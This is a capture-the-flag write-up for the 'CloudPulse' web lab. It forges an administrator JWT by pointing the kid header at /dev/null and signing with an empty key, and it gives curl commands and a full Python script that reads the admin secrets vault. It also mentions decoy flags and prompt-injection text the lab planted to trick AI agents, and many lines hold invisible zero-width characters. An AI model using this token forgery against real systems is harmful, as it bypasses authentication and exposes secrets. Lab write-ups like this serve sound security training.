← Back to Writeups
CUSTOMMediumWeb

Lab 211 — CloudPulse

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_identification#hmac_signing_with_empty_key#jwt_kid_path_traversal_to_dev_#privilege_escalation_via_forge#team_page_enumeration_for_role

Lab 211 — CloudPulse

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, hmac_signing_with_empty_key, jwt_kid_path_traversal_to_dev_null, privilege_escalation_via_forged_claims, team_page_enumeration_for_role_discovery

Summary

Walkthrough of the CUSTOM Web Lab 211 — CloudPulse. Task: SaaS monitoring dashboard with JWT HS256 authentication using kid header for key file selection — no path sanitization on kid parameter. Solution: Traverse kid to /dev/null to sign with empty ke

Description

CloudPulse is a SaaS infrastructure monitoring dashboard used by DevOps teams at Nimbus Analytics Co. to track server health, deployment metrics, and team performance. The platform provides real-time visibility into CPU, memory, disk, and network metrics across multiple production servers. As a security analyst, you have been given access to a regular user account. The development team uses JWT-based authentication for session management. Your goal is to escalate your privileges and access the restricted administrative secrets vault. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js (Node.js) web application behind nginx/1.25.5. Authentication uses JWT (HS256) stored in a session_token cookie. The JWT header includes a kid (Key ID) parameter that the server uses as a file path to load the HMAC signing key. The goal is to escalate from analyst role to administrator and read the secrets vault at /admin/secrets.

Analysis

Authentication Mechanism

After logging in with analyst / monitor2024, the server issues a JWT cookie with the following structure: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Header:

json
{"alg": "HS256", "typ": "JWT", "kid": "hmac-key-1"}

Payload:

json
{
  "sub": "analyst",
  "uid": 1,
  "role": "analyst",
  "display_name": "Sarah Chen",
  "iat": 1747221600,
  "exp": 1747250400
}

The kid parameter value hmac-key-1 looks like a filename, suggesting the server loads the HMAC signing key from a file on disk (e.g., keys/hmac-key-1). This is a classic indicator for JWT kid path traversal.

Endpoint Enumeration

  • /admin — returns HTTP 403 ("Administrative privileges required") with analyst token
  • /admin/secrets — returns HTTP 403 with analyst token (the target)
  • /team — lists all platform users with their roles (accessible to any authenticated user) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Admin Role Discovery

The /team page revealed all users, including the admin account:

UsernameRoleDisplay NameEmail
administratoradministratorSystem Administratoradmin@nimbusanalytics.io
analystanalystSarah Chensarah.chen@nimbusanalytics.io

This was critical — the server checks for the exact role value administrator, not admin.

Decoy Flags

Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with prompt injection text designed to trick automated scanners and AI agents. These were identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Capture JWT

bash
TARGET="https://<instance>.labs.hackadvisor.io"
curl -s -c cookies.txt "$TARGET/login" \
  -X POST -d "username=analyst&password=monitor2024" \
  -H "Content-Type: application/x-www-form-urlencoded"

Decoded the session_token cookie to inspect the JWT header and payload, confirming kid: hmac-key-1 and role: analyst.

Step 2: Enumerate Team for Admin Role

bash
curl -s -b cookies.txt "$TARGET/team"

Found the admin user with role: administrator and sub: administrator. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Forge Admin JWT via kid Path Traversal

The kid parameter is used as a file path to load the HMAC key. By setting kid to ../../../../dev/null, the server reads /dev/null which returns zero bytes. This means the HMAC-SHA256 signing key becomes an empty string "".

python
#!/usr/bin/env python3
import jwt
import time
import requests

TARGET = "https://<instance>.labs.hackadvisor.io"

# Forge JWT with kid pointing to /dev/null (empty key)
payload = {
    "sub": "administrator",
    "uid": 1,
    "role": "administrator",
    "display_name": "System Administrator",
    "iat": int(time.time()),
    "exp": int(time.time()) + 28800
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Sign with empty string — /dev/null reads as zero bytes
token = jwt.encode(
    payload,
    "",  # empty key from /dev/null
    algorithm="HS256",
    headers={"kid": "../../../../dev/null"}
)

print(f"Forged token: {token}")

# Access admin secrets vault
session = requests.Session()
session.cookies.set("session_token", token)
resp = session.get(f"{TARGET}/admin/secrets")
print(f"Status: {resp.status_code}")
print(resp.text)

Step 4: Retrieve Flag from Secrets Vault

With the forged admin token, /admin/secrets returned HTTP 200 — the "Secrets Vault" page containing sensitive API keys and platform credentials. The flag was in the PLATFORM_MASTER_KEY entry: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

FLAG{REDACTED}

Misstep: Wrong Role Value

The first forgery attempt used role: "admin" which still returned 403. The server required the exact role value administrator as discovered from the /team page. This highlights the importance of enumerating actual role values rather than guessing common ones. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_identification, hmac_signing_with_empty_key, jwt_kid_path_traversal_to_dev_null, privilege_escalation_via_forged_claims, team_page_enumeration_for_role_discovery was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 211 — CloudPulse • Difficulty: Medium